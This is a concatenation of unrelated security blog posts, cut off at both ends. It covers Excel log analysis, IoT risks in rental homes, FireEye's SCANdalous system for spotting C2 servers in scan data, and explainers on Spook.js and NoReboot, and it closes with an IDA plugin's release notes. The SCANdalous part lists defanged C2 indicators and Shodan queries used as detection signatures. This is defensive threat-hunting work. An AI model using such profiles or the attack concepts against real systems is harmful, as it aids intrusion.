As we fill this formula down through the rest of our log data, it will automatically expand the range to include the current log record and all previous logs.
B2 This cell contains the value we want to search for and provides a count of occurrences found in our defined range.
Note that this parameter B2 is not an absolute reference with a preceding \"$\".
This allows us to fill the formula down through all rows and ensure that we are counting the applicable user name.
To summarize, this formula will search the username column of all logon data before and including the current log and count how many times the user of each logon has logged on up to that point in time.
The following example illustrates how Excel automatically updated the range for D15 to $B$2:$B15 using the fill handle .
To help visualize a large data set, let's add color scale conditional formatting to each row individually.
To do so: Select only the cells we want to compare with the color scale (such as D2 to D25).
On the Home menu, click the Conditional Formatting button in the Styles area.
Click Color Scales.
Click the type of color scale we would like to use.
The following examples set the lowest values to red and the highest values to green.
We can see how: Users with lower authentication counts contrast against users with more authentications.
The first authentication times of users stand out in red.
Whichever colors are used, be careful not to assume that one color, such as green, implies safety and another color, such as red, implies maliciousness.
Conclusion The techniques described in this post are just a few ways to utilize Excel to perform analysis on arbitrary data.
While these techniques may not leverage some of the more powerful features of Excel, as with any variety of skill set, mastering the fundamentals enables us to perform at a higher level.
Employing fundamental Excel analysis techniques can empower an investigator to work through analysis of any presented data type as efficiently as possible.
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Home is where the ‘smart’ is.
A recent study revealed the average American household has 25 connected or Internet of Things (IoT) devices.
The number of consumers who have smart home devices connected to their home internet has grown by 38% since the pandemic began.
The findings don’t surprise Brad Ree, the chief technology officer (CTO) of Internet of Things solutions at the ioXt Alliance .
Nor do they surprise Adam Laurie, IBM Security X-Force Red ’s lead hardware hacker.
Ree has more than 80 connected devices in his home.
Laurie recently found five connected or IoT devices that he didn’t know existed inside his home.
Even more, when he looked at the firewall rules on his internet service provider’s router, the universal plug and play (UPnP) was switched on, adding firewall rules for smart devices in his home unbeknownst to him.
In addition, with the pandemic nearing the rearview window, employees are starting to travel again.
This increase also means vacation rental home bookings are up.
One vacation home company notes that by the end of March 2021, 90% of its homes in New Jersey and Cape Cod were booked for July.
Another company revealed the booking lead time for summer stays at its rental properties is 147 days this year.
Internet of Things Security in Vacation Homes While renting a vacation home can provide more space for less money, it can also create more attacker opportunities.
For example, Ree shared a story about a recent family vacation.
He, his wife and kids stayed in a vacation rental home from where he worked for a week.
Being the security savvy CTO that he is, the minute he entered the home, Ree performed a port scan to see if anyone else could connect to the network.
To his surprise, various past visitors had added multiple firewall rules to the home network.
Any one of the rules could have enabled the visitors to remain connected, even remotely.
The access also meant if the visitors had malicious intentions, they could compromise Ree’s laptop and potentially his employer’s network.
“You are staying in an open environment,” says Ree.
“Don’t assume it is your house.
In a vacation rental home, an attacker could easily scan open ports and see what’s connected.”
Invisible Connections
Every time you rent a vacation home and connect to its network or an IoT device , you leave a footprint behind that can be leveraged by an attacker.
Laurie gave an example.
Let’s say your children play video games while on vacation.
They may use a headset, which plugs into the game console, to chat with other players.
The console connects to the router, which creates a firewall rule that allows players to connect to a shared port.
Then, whenever someone connects to that port on the internet service provider’s external address, that person can also connect to your children’s game console.
Removing access, as Laurie points out, is tough.
You would need a UPnP daemon, which the average consumer most likely does not have.
“When you leave the house, you can always connect to that port,” says Laurie.
“If an attacker were to connect to that port, she would be routed to an address assigned to the game console.”
Worse yet, imagine if the next visitor connected his work laptop to that same network.
The visitor could run a business process on that same open port.
Therefore, they can expose the laptop to other users with previous access.
Vacation rental home networks typically do not adhere to the same security protocols as businesses.
In business environments, routers are usually under an administrator’s control.
That admin also likely limits IoT devices.
The network isn’t open and insecure protocols are off.
Many businesses apply the zero-trust model to their networks.
Home and vacation rental home networks, on the other hand, typically do not have that kind of commercial-grade security.
Ree refuses to even charge a phone in vacation rental homes for that reason.
Protecting Against Loose Internet of Things Rules
So how can you protect your own devices the next time you stay in a vacation rental home?
The easiest step is to immediately connect to the corporate virtual private network.
Savvier technology users may want to go an extra step and run their own port scans.
Laurie applies those kinds of extra security measures when he rents homes and cars.
In a rental car, he always checks the Bluetooth history and conducts a factory reset before and after using the vehicle.
You could do the same in a vacation rental home, although it may create a conflict with homeowners if they set up their own rules.
Ree stresses the need for IoT and smart home device manufacturers to step up their security controls and processes.
Routers, for example, should not allow routing between nodes.
The Federal Bureau of Investigation recommends that UPnP be turned off, although in some routers it may be turned on by default.
Implementing a standard security label or certification could also help from a consumer and manufacturer standpoint.
Manufacturers can validate their devices and have security controls and processes built-in before they go to customers, and customers can know which devices are more secure based on the security label.
IBM X-Force, Silicon Labs and the ioXt Alliance are presenting a virtual panel at 11 a.m. EDT on July 21, 2021, where experts will discuss three IoT- and operational technology-related security topics — critical infrastructure security, standardizing IoT security and the perceived privacy and security problem.
Register here
Real Quick
In case you’re thrown by that fantastic title, our lawyers made us change the name of this project so we wouldn’t get sued.
SCANdalous—a.k.a.
Scannah Montana a.k.a.
Scanny McScanface a.k.a.
“Scan I Kick It?
(Yes You Scan)”—had another name before today that, for legal reasons, we’re keeping to ourselves.
A special thanks to our legal team who is always looking out for us, this blog post would be a lot less fun without them.
Strap in folks.
Introduction Advanced Practices is known for using primary source data obtained through Mandiant Incident Response , Managed Defense , and product telemetry across thousands of FireEye clients.
Regular, first-hand observations of threat actors afford us opportunities to learn intimate details of their modus operandi.
While our visibility from organic data is vast, we also derive value from third-party data sources.
By looking outwards, we extend our visibility beyond our clients’ environments and shorten the time it takes to detect adversaries in the wild—often before they initiate intrusions against our clients.
In October 2019, Aaron Stephens gave his “Scan’t Touch This” talk at the annual FireEye Cyber Defense Summit (slides available on his Github ).
He discussed using network scan data for external detection and provided examples of how to profile command and control (C2) servers for various post-exploitation frameworks used by criminal and intelligence organizations alike.
However, manual application of those techniques doesn’t scale.
It may work if your role focuses on one or two groups, but Advanced Practices’ scope is much broader.
We needed a solution that would enable us to track thousands of groups, malware families and profiles.
In this blog post we’d like to talk about that journey, highlight some wins, and for the first time publicly, introduce the project behind it all: SCANdalous.
Pre-SCANdalous Case Studies Prior to any sort of system or automation, our team used traditional profiling methodologies to manually identify servers of interest.
The following are some examples.
The success we found in these case studies served as the primary motivation for SCANdalous.
APT39 SSH Tunneling After observing APT39 in a series of intrusions, we determined they frequently created Secure Shell (SSH) tunnels with PuTTY Link to forward Remote Desktop Protocol connections to internal hosts within the target environment.
Additionally, they preferred using BitVise SSH servers listening on port 443.
Finally, they were using servers hosted by WorldStream B.V.
Independent isolation of any one of these characteristics would produce a lot of unrelated servers; however, the aggregation of characteristics provided a strong signal for newly established infrastructure of interest.
We used this established profile and others to illuminate dozens of servers we later attributed to APT39 , often before they were used against a target.
APT34 QUADAGENT
In February 2018, an independent researcher shared a sample of what would later be named QUADAGENT.
We had not observed it in an intrusion yet; however, by analyzing the characteristics of the C2, we were able to develop a strong profile of the servers to track over time.
For example, our team identified the server 185.161.208\\.37 and domain rdppath\\.com within hours of it being established.
A week later, we identified a QUADAGENT dropper with the previously identified C2.
Additional examples of QUADAGENT are depicted in Figure 1.
Figure 1:
QUADAGENT C2 servers in the Shodan user interface Five days after the QUADAGENT dropper was identified, Mandiant was engaged by a victim that was targeted via the same C2.
This activity was later attributed to APT34.
During the investigation, Mandiant uncovered APT34 using RULER.HOMEPAGE.
This was the first time our consultants observed the tool and technique used in the wild by a real threat actor.
Our team developed a profile of servers hosting HOMEPAGE payloads and began tracking their deployment in the wild.
Figure 2 shows a timeline of QUADAGENT C2 servers discovered between February and November of 2018.
Figure 2: Timeline of QUADAGENT C2 servers discovered throughout 2018 APT33 RULER.HOMEPAGE, POSHC2, and POWERTON
A month after that aforementioned intrusion, Managed Defense discovered a threat actor using RULER.HOMEPAGE to download and execute POSHC2.
All the RULER.HOMEPAGE servers were previously identified due to our efforts.
Our team developed a profile for POSHC2 and began tracking their deployment in the wild.
The threat actor pivoted to a novel PowerShell backdoor, POWERTON.
Our team repeated our workflow and began illuminating those C2 servers as well.
This activity was later attributed to APT33 and was documented in our OVERRULED post .
SCANdalous
Scanner, Better, Faster, Stronger Our use of scan data was proving wildly successful, and we wanted to use more of it, but we needed to innovate.
How could we leverage this dataset and methodology to track not one or two, but dozens of active groups that we observe across our solutions and services?
Even if every member of Advanced Practices was dedicated to external detection, we would still not have enough time or resources to keep up with the amount of manual work required.
But that’s the key word: Manual .
Our workflow consumed hours of individual analyst actions, and we had to change that.
This was the beginning of SCANdalous:
An automated system for external detection using third-party network scan data.
A couple of nice things about computers: They’re great at multitasking, and they don’t forget.
The tasks that were taking us hours to do—if we had time, and if we remembered to do them every day—were now taking SCANdalous minutes if not seconds.
This not only afforded us additional time for analysis, it gave us the capability to expand our scope.
Now we not only look for specific groups, we also search for common malware, tools and frameworks in general.
We deploy weak signals (or broad signatures) for software that isn’t inherently bad, but is often used by threat actors.
Our external detection was further improved by automating additional collection tasks, executed by SCANdalous upon a discovery—we call them follow-on actions.
For example, if an interesting open directory is identified, acquire certain files.
These actions ensure the team never misses an opportunity during “non-working hours.”
If SCANdalous finds something interesting on a weekend or holiday, we know it will perform the time-sensitive tasks against the server and in defense of our clients.
The data we collect not only helps us track things we aren’t seeing at our clients, it allows us to provide timely and historical context to our incident responders and security analysts.
Taking observations from Mandiant Incident Response or Managed Defense and distilling them into knowledge we can carry forward has always been our bread and butter.
Now, with SCANdalous in the mix, we can project that knowledge out onto the Internet as a whole.
Collection Metrics
Looking back on where we started with our manual efforts, we’re pleased to see how far this project has come, and is perhaps best illustrated by examining the numbers.
Today (and as we write these continue to grow), SCANdalous holds over five thousand signatures across multiple sources, covering dozens of named malware families and threat groups.
Since its inception, SCANdalous has produced over two million hits.
Every single one of those, a piece of contextualized data that helps our team make analytical decisions.
Of course, raw volume isn’t everything, so let’s dive a little deeper.
When an analyst discovers that an IP address has been used by an adversary against a named organization, they denote that usage in our knowledge store.
While the time at which this observation occurs does not always correlate with when it was used in an intrusion, knowing when we became aware of that use is still valuable.
We can cross-reference these times with data from SCANdalous to help us understand the impact of our external detection.
Looking at the IP addresses marked by an analyst as observed at a client in the last year, we find that 21.7% (more than one in five) were also found by SCANdalous.
Of that fifth, SCANdalous has an average lead time of 47 days.
If we only consider the IP addresses that SCANdalous found first, the average lead time jumps to 106 days.
Going even deeper and examining this data month-to-month, we find a steady upward trend in the percentage of IP addresses identified by SCANdalous before being observed at a client (Figure 3).
Figure 3: Percentage of IP addresses found by SCANdalous before being marked as observed at a client by a FireEye analyst A similar pattern can be seen for SCANdalous’ average lead time over the same data (Figure 4).
Figure 4:
Average lead time in days for SCANdalous over the same data shown in Figure 3 As we continue to create signatures and increase our external detection efforts, we can see from these numbers that the effectiveness and value of the resulting data grow as well.
SCANdalous
Case Studies Today in Advanced Practices, SCANdalous is a core element of our external detection work.
It has provided us with a new lens through which we can observe threat activity on a scale and scope beyond our organic data, and enriches our workflows in support of Mandiant.
Here are a few of our favorite examples: FIN6 In early 2019, SCANdalous identified a Cobalt Strike C2 server that we were able to associate with FIN6.
Four hours later, the server was used to target a Managed Defense client, as discussed in our blog post, Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware .
FIN7 In late 2019, SCANdalous identified a BOOSTWRITE C2 server and automatically acquired keying material that was later used to decrypt files found in a FIN7 intrusion worked by Mandiant consultants, as discussed in our blog post, Mahalo FIN7: Responding to the Criminal Operators’ New Tools and Techniques .
UNC1878 (financially motivated)
Some of you may also remember our recent blog post on UNC1878 .
It serves as a great case study for how we grow an initial observation into a larger set of data, and then use that knowledge to find more activity across our offerings.
Much of the early work that went into tracking that activity (see the section titled “Expansion”) happened via SCANdalous.
The quick response from Managed Defense gave us just enough information to build a profile of the C2 and let our automated system take it from there.
Over the next couple months, SCANdalous identified numerous servers matching UNC1878’s profile.
This allowed us to not only analyze and attribute new network infrastructure, it also helped us observe when and how they were changing their operations over time.
Conclusion There are hundreds more stories to tell, but the point is the same.
When we find value in an analytical workflow, we ask ourselves how we can do it better and faster.
The automation we build into our tools allows us to not only accomplish more of the work we were doing manually, it enables us to work on things we never could before.
Of course, the conversion doesn’t happen all at once.
Like all good things, we made a lot of incremental improvements over time to get where we are today, and we’re still finding ways to make more.
Continuing to innovate is how we keep moving forward – as Advanced Practices, as FireEye, and as an industry.
Example Signatures
The following are example Shodan queries; however, any source of scan data can be used.
Used to Identify APT39 C2 Servers product:“bitvise” port:“443” org:“WorldStream B.V.” Used to Identify QUADAGENT
C2 Servers “PHP/7.2.0beta2” RULER.HOMEPAGE Payloads html:“clsid:0006F063-0000-0000-C000-000000000046” Subscribe to Blogs Get email updates as new blog posts are added.
By comparison, a phishing attack makes sense: Click a link, land on a malicious page, enter some details, and an attacker steals them.
Try this one on for size, instead: Click a link and an attacker steals your data.
That’s right, today we’re talking about malicious pages that exploit a fundamental CPU feature to steal data without requiring a victim to enter anything.
And the vulnerability in question is very difficult, if not impossible, to fix.
In 2018, researchers proved the scenario was theoretically possible, unveiling the first two variants of the Spectre vulnerability.
Three years later, September 2021 saw the first real-life attack using Spectre v1.
Known as Spook.js, the attack concept is complicated, but we will try to strip it down.
Spectre v1 background News of the first two attacks of this family — Spectre and Meltdown — broke in 2018 .
The attacks exploited the branch prediction mechanism, which is designed to speed up command execution, found in all modern CPUs.
When a user enters a password to log in to a website, if the password is correct, one set of instructions is executed.
If not, another set is executed.
However — and this is where the branch prediction kicks in — before receiving the answer, the CPU starts executing the set of instructions it thinks it will most likely need.
In our example, if the password has been entered correctly a hundred times before, the CPU will assume that this time will be no different.
If it guesses correctly, the user gets a performance boost.
If not, the CPU discards the speculatively executed instructions and runs the other set.
In a Spectre-vulnerability attack, an attempt is made to read a data area to which the program does not have access.
In the first stage of the attack, multiple calls are made to open-access data areas, whereby the branch prediction system is “trained” to perform the forbidden read operation as well.
Using branch prediction, the CPU performs the operation in advance because it is used to the program asking to read data that it is actually allowed to read.
But a check reveals that the program is prohibited from accessing the data, so the speculatively executed computations are discarded.
So far, so good — but the data read by the CPU is stored for some time in the cache, the CPU’s own memory.
Next comes the most interesting part: With no way to read the confidential data from the CPU’s cache directly, the malicious process deploys a so-called side-channel attack to steal it.
That involves measuring the speed of access to certain information.
If it’s relatively small, that means the data is located in the cache.
If large, it is loaded from regular RAM.
A set sequence of read attempts results in a leak of the secret information.
The result is a fundamental CPU flaw whose only fix is to disable branch prediction completely, thus seriously affecting performance.
That said, Specter attacks do have many limitations: The attacker must be able to execute program code on the target computer or mobile device; The attack requires a specific target program coded so as to create the conditions for a successful attack; Even if the attack is successful, data extraction is extremely slow — tens or hundreds of bytes per second — and read errors are far from impossible;
In general, stealing the intended secret data, such as passwords, encryption keys, and so forth, requires a combination of conditions.
Spook.js — real-life application of Spectre v1 We might conclude that Spectre isn’t all that dangerous.
After all, if an attacker can execute code on a target computer, exploiting one of the many vulnerabilities in the operating system or installed programs to escalate privileges and steal data would be far simpler.
That is true, but modern Web pages also contain large amounts of program code that gets executed on the user’s computer, in the browser.
That’s how Spook.js attacks exploit the Spectre v1 vulnerability: An infected page loads, the browser executes the code, and the cybercriminal steals confidential data.
The authors of the report demonstrated some practical attacks.
First, they stole a user password from Tumblr.
Second, they stole data from Lastpass.
Third, they intercepted a user-uploaded image from private storage on a Google server.
A feature of the Google Chrome browser made it all possible.
Since the release of information about Spectre, Chrome’s developers have taken measures to ward off potential attacks by forcing websites to load in isolation.
Because each website creates its own process, malicious code on one page cannot be used to steal data from another resource.
But there is one exception: Multiple pages from the same site or domain are grouped together in a common browser process.
If the malicious code (written in JavaScript, hence the .js in the name of the attack) is run on one of them, data on other pages can be stolen.
Spectre.js attack on Tumblr As a collective blog, Tumblr can host malicious code, at least in theory.
That way, with a malicious page open in one tab, if a user tries to log in to their account on the service in another tab, the browser saves and automatically fills in the username and password — which the malicious code can then steal.
By exploiting the Spectre vulnerability, an attack can interact tangentially with another tab from the same site and steal data by indirect means.
A successful attack using this approach leaves almost no traces.
Specter.js attack on LastPass The attack on the LastPass password manager was different in that the code to steal data using Spectre v1 was embedded in a malicious extension for Google Chrome.
The LastPass extension was also running in the browser.
In some cases, the extensions are also executed in a common browser process, making data theft possible.
Specter.js attack on Google Cloud Storage Another example uses attacks on Google cloud storage: One browser tab contains a malicious page hosted on sites.google.com; another lets users upload images to their private storage in the G Suite service.
In this scenario, an attacker can use malicious code to gain access to the images.
Original image (left) and the one stolen from Google cloud storage using a Spook.js attack.
Source Method limitations Researchers have shown how the attack can be carried out on different CPUs, including several modern ones from Intel and even the new ARM-based Apple M1.
In all cases, the attack was accomplished in Google Chrome.
In principle, several unique features of the browser make Spook.js possible.
Other Chromium-based browsers, such as Microsoft Edge, are also vulnerable to this attack.
However, there are certain limitations.
First is the low speed of data theft (400–600 bytes per second, depending on the CPU), which is why the target file in the last demo is very small.
Second is the large number of errors when stealing data from the CPU cache.
Up to 4% of the data is erroneous; hence the artifacts in the stolen copy of the image.
The attack doesn’t work on AMD processors or in Mozilla Firefox, whose JavaScript engine works differently.
The researchers aren’t ruling out the possibility of a successful attack on AMD chips and Firefox browser, but verifying that will require more study.
Finally, an attack requires uploading malicious code to a page with the same domain name, such as in the case of collective blogs or hosting.
Applying this method to, say, a bank’s website is probably not going to work.
No reason to panic The study of Spook.js is important because researchers have, for the first time, been able to demonstrate a fairly realistic scenario for the exploitation of one of the Spectre vulnerabilities.
Nevertheless, the chances of a real-world attack are low.
First, the developers of Google Chrome, on the back of this research, have beefed up the mechanism for isolating loaded sites from one another.
Second, cybercriminals have many easier ways to steal user data, from traditional malware to social engineering, and this one requires serious knowledge of the low-level workings of modern CPUs.
As a scientific work, Spook.js is set to alter the software landscape through the introduction of new recommendations for website security (for example, the authors propose moving authorization pages to a separate domain name).
Subsequent studies may find ways to make attacks a little easier, but most likely they will lead to more rounds of security enhancements.
Even if Spectre-type vulnerabilities can be exploited en masse, the protection means will be the same as for any malware.
Security vendors will simply add the new types of attacks to the list of those to be monitored and blocked before execution.
It’s also possible that one day researchers will stumble upon a feature of Spectre-like vulnerabilities that necessitates a major reworking of the entire modern IT ecosystem.
That, however, remains unlikely.
Let’s not forget that it took three years to move from a theoretical vulnerability to the first practical attack (and even then, it’s an attack with many limitations).
Spectre may also be used for targeted attacks in which the potential benefit from the stolen data exceeds the costs of the operation.
Even if that scenario is relevant to your organization, you can easily make attacks more difficult by using different browsers for different content.
For example, do not open pages and Web services with sensitive information in the same browser where you get your online entertainment.
Ideally, handle confidential information in an isolated environment, in a virtual machine, or simply on a separate device.
To be absolutely sure your phone isn’t tracking you or listening in on any conversations, you might turn it off.
It seems logical; that way, even if the phone is infected with serious spyware, it can’t do anything.
In addition, turning off or restarting a smartphone is one of the most reliable ways to fight such infections; in many cases, spyware “lives” only until the next reboot because it cannot gain a permanent foothold in the operating system.
At the same time, the vulnerabilities that allow malware to work even after a reboot are rare and expensive to exploit.
However, this tactic might not work forever.
Researchers have come up with a technique to bypass it using a method they have named NoReboot.
In essence, this attack is a fake restart.
What is NoReboot, and how does the attack work?
We want to note right off the bat that NoReboot is not a feature of any real spyware in use by attackers; rather, it’s a so-called proof of concept that researchers demonstrated under laboratory conditions.
At this point it is hard to say whether the method will actually gain traction.
For the demonstration, the researchers used an iPhone they “infected” beforehand.
Unfortunately, they haven’t shared the technical details.
Here’s what happens in the demonstration: The spy malware, which transfers the image from the camera, runs on the iPhone; The user tries to shut off the phone the usual way, using the power and volume buttons; The malware takes control and shows a perfect fake instead of the standard iOS shutdown screen; After the user drags the power-off slider, which also looks perfectly normal, the smartphone’s screen goes dark and the phone no longer responds to any of the user’s actions; When the user presses the power button again, the malware displays a perfect replica of the iOS boot animation.
During the entire process, the phone is continually transferring the image from the phone’s front camera to another device without the user’s knowledge.
As is often the case, seeing is believing, and we recommend checking out the researchers’ video: How to protect yourself against NoReboot Again, at least for now NoReboot is only a demonstration of the feasibility of an attack.
The attack is alarming, to be sure, but don’t forget that malware needs to get onto a smartphone before it can do any damage.
Here are some tips to help you prevent that from happening: Keep in mind that it’s much harder for attackers to infect a smartphone remotely than if they have physical access to it.
Be careful not to let someone else get hold of your smartphone — especially for a long period of time — and install a reliable device lock.
People most often install malware on their smartphones on their own, voluntarily.
Be careful about what you download and avoid installing unnecessary apps — that is, those you can easily live without — as a general rule.
Don’t root or jailbreak your smartphone (at least if you haven’t been using *nix systems for many years).
Superuser rights make malware’s work exponentially easier .
If you have an Android device, we recommend installing an antivirus solution — to block Trojans from penetrating the system.
Let your smartphone die a natural death from time to time — that is, wait for the charge to run out completely.
The phone will then most certainly restart without any fakes, and there’s an excellent chance that spies will disappear from the system.
You can speed up the process by using a resource-hungry app, such as a game or benchmark-test utility.
Introduction We’re proud to release a new plug-in for IDA Pro users – SimplifyGraph – to help automate creation of groups of nodes in the IDA’s disassembly graph view.
Code and binaries are available from the FireEye GitHub repo .
Prior to this release we submitted it in the 2017 Hex-Rays plugin contest , where it placed third overall.
My personal preference is to use IDA’s graph mode when doing the majority of my reverse engineering.
It provides a graphical representation of the control flow graph and gives visual cues about the structure of the current function that helps me better understand the disassembly.
Graph mode is great until the function becomes complex.
IDA is often forced to place adjacent nodes relatively far apart, or have edges in the graph cross and have complex paths.
Using the overview graph becomes extremely difficult due to the density of nodes and edges, as seen in Figure 1.
Figure 1:
An annoying function IDA has a built-in mechanism to help simplify graphs: creating groups of nodes, which replaces all of the selected nodes with a new group node representative.
This is done by selecting one or more nodes, right-clicking, and selecting “Group nodes”, as shown in Figure 2.
Doing this manually is certainly possible, but it becomes tedious to follow edges in complex graphs and correctly select all of the relevant nodes without missing any, and without making mistakes.
Figure 2:
Manual group creation The SimplifyGraph IDA Pro plug-in we’re releasing is built to automate IDA’s node grouping capability.
The plug-in is source-compatible with the legacy IDA SDK in 6.95, and has been ported to the new SDK for IDA 7.0.
Pre-built binaries for both are available on the Releases tab for the project repository .
The plug-in has several parts, which are introduced below.
By combining these together it’s possible to isolate parts of a control flow graph for in-depth reverse engineering, allowing you to look at Figure 3 instead of Figure 1.
Figure 3: Isolated subgraph to focus on Create Unique-Reachable (UR)
Subgraph Unique-Reachable nodes are all nodes reachable in the graph from a given start node and that are not reachable from any nodes not currently in the UR set.
For example, in Figure 4, all of the Unique-Reachable nodes starting at the green node are highlighted in blue.
The grey node is reachable from the green node, but because it is reachable from other nodes not in the current UR set it is pruned prior to group creation.
Figure 4:
Example Unique Reachable selection The plug-in allows you to easily create a new group based on the UR definition.
Select a node in IDA's graph view to be the start of the reachable search.
Right click and select \"SimplifyGraph -> Create unique-reachable group\".
The plug-in performs a graph traversal starting at this node, identifies all reachable nodes, and prunes any nodes (and their reachable nodes) that have predecessor nodes not in the current set.
It then prompts you for the node text to appear in the new group node.
If you select more than one node (by holding the Ctrl key when selecting nodes) for the UR algorithm, each additional node acts as a sentry node.
Sentry nodes will not be included in the new group, and they halt the graph traversal when searching for reachable nodes.
For example, in Figure 5, selecting the green node first treats it as the starting node, and selecting the red node second treats it as a sentry node.
Running the “Create unique-reachable group” plug-in option creates a new group made of the green node and all blue nodes.
This can be useful when you are done analyzing a subset of the current graph, and wish to hide the details behind a group node so you can concentrate on the rest of the graph.
Figure 5:
Unique reachable with sentry The UR algorithm operates on the currently visible graph, meaning that you can run the UR algorithm repeatedly and nest groups.
Switch Case Groups Creation Switch statements implemented as jump tables appear in the graph as nodes with a large fan-out, as shown in Figure 6.
The SimplifyGraph plug-in detects when the currently selected node has more than two successor nodes and adds a right-click menu option “SimplifyGraph -> Create switch case subgraphs”.
Selecting this runs the Unique-Reachable algorithm on each separate case branch and automatically uses IDA’s branch label as the group node text.
Figure 6:
Switch jumptable use Figure 7 shows a before and after graph overview of the same function when the switch-case grouping is run.
Figure 7:
Before and after of switch statement groupings Isolated Subgraphs Running Edit -> Plugins -> SimplifyGraph brings up a new chooser named \"SimplifyGraph - Isolated subgraphs\" that begins showing what I call isolated subgraphs of the current graph, as seen in Figure 8.
Figure 8:
Example isolated subgraphs chooser A full definition appears later in the appendix including how these are calculated, but the gist is that an isolated subgraph in a directed graph is a subset of nodes and edges such that there is a single entrance node, a single exit node, and none of the nodes (other than the subgraph entry node) is reachable by nodes not in the subgraph.
Finding isolated subgraphs was originally researched to help automatically identify inline functions.
It does this, but it turns out that this graph construct occurs naturally in code without inline functions.
This isn’t a bad thing as it shows a natural grouping of nodes that could be a good candidate to group to help simplify the overall graph and make analysis easier.
Once the chooser is active, you can double click (or press Enter) on a row in the chooser to highlight the nodes that make up the subgraph, as seen in Figure 9.
Figure 9:
Highlighted isolated subgraph You can create a group for an isolated subgraph by: Right-clicking on the chooser row and selecting \"Create group\", or pressing Insert while a row is selected.
Right-clicking in a highlighted isolated subgraph node and selecting \"SimplifyGraph ->
Create isolated subgraph\".
Doing either of these prompts you for text for the new graph node to create.
If you manually create/delete groups using IDA you may need to refresh the chooser's knowledge of the current function groups (right-click and select \"Refresh groups\" in the chooser).
You can right click in the chooser and select \"Clear highlights\" to remove the current highlights.
As you navigate to new functions the chooser updates to show isolated subgraphs in the current function.
Closing the chooser removes any active highlights.
Any custom colors you applied prior to running the plug-in are preserved and reapplied when the current highlights are removed.
Isolated subgraph calculations operates on the original control flow graph, so isolated subgroups can't be nested.
As you create groups, rows in the chooser turn red indicating a group already exists, or can't be created because there is an overlap with an existing group.
Another note: this calculation does not currently work on functions that do not return (those with an infinite loop).
See the Appendix for details.
Graph Complement Creating groups to simplify the overall control flow graph is nice, but it doesn’t help understand the details of a group that you create.
To assist with this, the last feature of the plug-in hides everything but the group you’re interested in allowing you to focus on your reverse engineering.
Right clicking on a collapsed group node, or a node that that belongs to an uncollapsed group (as highlighted by IDA in yellow), brings up the plug-in option “Complement & expand group” and “Complement group”, respectively.
When this runs the plug-in creates a group of all nodes other than the group you’re interested in.
This has the effect of hiding all graph nodes that you aren’t currently examining and allows you to better focus on analysis of the current group.
As you can see, we’re abusing group creation a bit so that we can avoid creating a custom graph viewer, and instead stay within the built-in IDA graph disassembly view which allows us to continue to markup the disassembly as you’re used to.
Complementing the graph gives you the view seen in Figure 10, where the entire graph is grouped into a node named “Complement of group X”.
When you’re done analyzing the current group, right click on the complement node and select IDA’s “Ungroup nodes” command.
Figure 10:
Group complement Example Workflow
As an example that exercises the plug-in, let’s revisit the function in Figure 1.
This is a large command-and-control dispatch function for a piece of malware.
It contains a large if-else-if series of inlined strcmp comparisons that branch to the logic for each command when the input string matches the expected command.
Find all of the inline strcmp’s and create groups for those.
Run Edit -> Plugins -> SimplifyGraph to bring up the plug-in chooser.
In this function nearly every isolated subgraph is a 7-node inlined strcmp implementation.
Go through in the chooser to verify, and create a group.
This results in a graph similar to Figure 11.
Figure 11:
Grouped strcmp When an input string matches a command string, the malware branches to code that implements the command.
To further simplify the graph and make analysis easier, run the Unique-Reachable algorithm on each separate command by right clicking on the first node after each string-comparison and selecting SimplifyGraph ->
Create unique-reachable group.
After this we now have a graph as in Figure 12.
Figure 12:
Grouped command logic Now perform your reverse engineering on each separate branch in the dispatch function.
For each command handler group node that we created, right click that node and select “SimplifyGraph -> Complement & expand group”.
A result of complementing a single command handler node is shown in Figure 13, which is much easier to analyze.
Figure 13:
Group complement When done analyzing the current command handler, delete the complement group by right clicking the “Complement of group X” node and use IDA’s built-in “Ungroup nodes” command.
Repeat for the remaining command handler grouped nodes.
Config You can tweak some of the configuration by entering data in a file named %IDAUSR%/SimplifyGraph.cfg, where %IDAUSR% is typically %APPDATA%/Hex-Rays/IDA Pro/ unless explicitly set to something else.
All of the config applies to the isolated subgraph component.
Options: * SUBGRAPH_HIGHLIGHT_COLOR:
Default 0xb3ffb3:
The color to apply to nodes when you double click/press enter in the chooser to show nodes that make up the currently selected isolated subgraph.
Not everyone agrees that my IDA color scheme is best, so you can set your own highlight color here.
* MINIMUM_SUBGRAPH_NODE_COUNT:
Default 3:
The minimum number of nodes for a valid isolated subgraph.
If a discovered subgraph has fewer nodes than this number it is not included in the shown list.
This prevents trivial two-node subgraphs from being shown.
* MAXIMUM_SUBGRAPH_NODE_PERCENTAGE: Default 95:
The maximum percent of group nodes (100.0 *(subgroup_node_count / total_function_node_count)) allowed.
This filters out isolated subgraphs that make up (nearly) the entire function, which are typically not interesting.
Example SimplifyGraph.cfg contents ``` \"MINIMUM_SUBGRAPH_NODE_COUNT\"=5 \"MAXIMUM_SUBGRAPH_NODE_PERCENTAGE\"=75 \"SUBGRAPH_HIGHLIGHT_COLOR\"=0x00aa1111 ``` Prior work: I came across semi-related work while working on this: GraphSlick from the 2014 Hex-Rays contest .
That plug-in had different goals to automatically identifying (nearly) identical inline functions via CFG and basic block analysis, and patching the program to force mock function calls to the explicit function.
It had a separate viewer to present information to the user.
SimplifyGraph is focused on automating tasks when doing manual reverse engineering (group creation) to reduce the complexity of disassembly in graph mode.
Future work may incorporate the same prime-products calculations to help automatically identify isolated subgraphs.
Installation Prebuilt Windows binaries are available from the Releases tab of the GitHub project page .
The ZIP files contain both IDA 32 and IDA 64 plug-ins for each of the new IDA 7.0 SDK and for the legacy IDA 6.95 SDK.
Copy the two plug-ins for your version of IDA to the %IDADIR%\\plugins directory.
Building This plug-in & related files were built using Visual Studio 2013 Update 5.
Environment Variables Referenced by project: * IDASDK695: path to the extracted IDA 6.95 SDK.
This should have `include` and `lib` paths beneath it.
* IDASDK: path to the extracted IDA 7.0 (or newer) SDK.
This Should have `include` and `lib` paths beneath it.
* BOOSTDIR: path to the extracted Boost library.
Should have `boost` and `libs` paths beneath it.
The easiest way is to use the Microsoft command-line build tools: * For IDA7.0:
Launch VS2013 x64 Native Tools Command Prompt, then run: ``` msbuild SimplifyGraph.sln /property:
Configuration=
ReleaseIDA70_32 /property:
Platform=x64 msbuild SimplifyGraph.sln /property:
Configuration=ReleaseIDA70_64 /property:
Platform=x64
``` * For IDA6.95: Launch VS2013 x86 Native Tools Command Prompt, then run: ``` msbuild SimplifyGraph.sln /property:
Configuration=ReleaseIDA695_32 /property:
Platform=Win32
msbuild SimplifyGraph.sln /property:
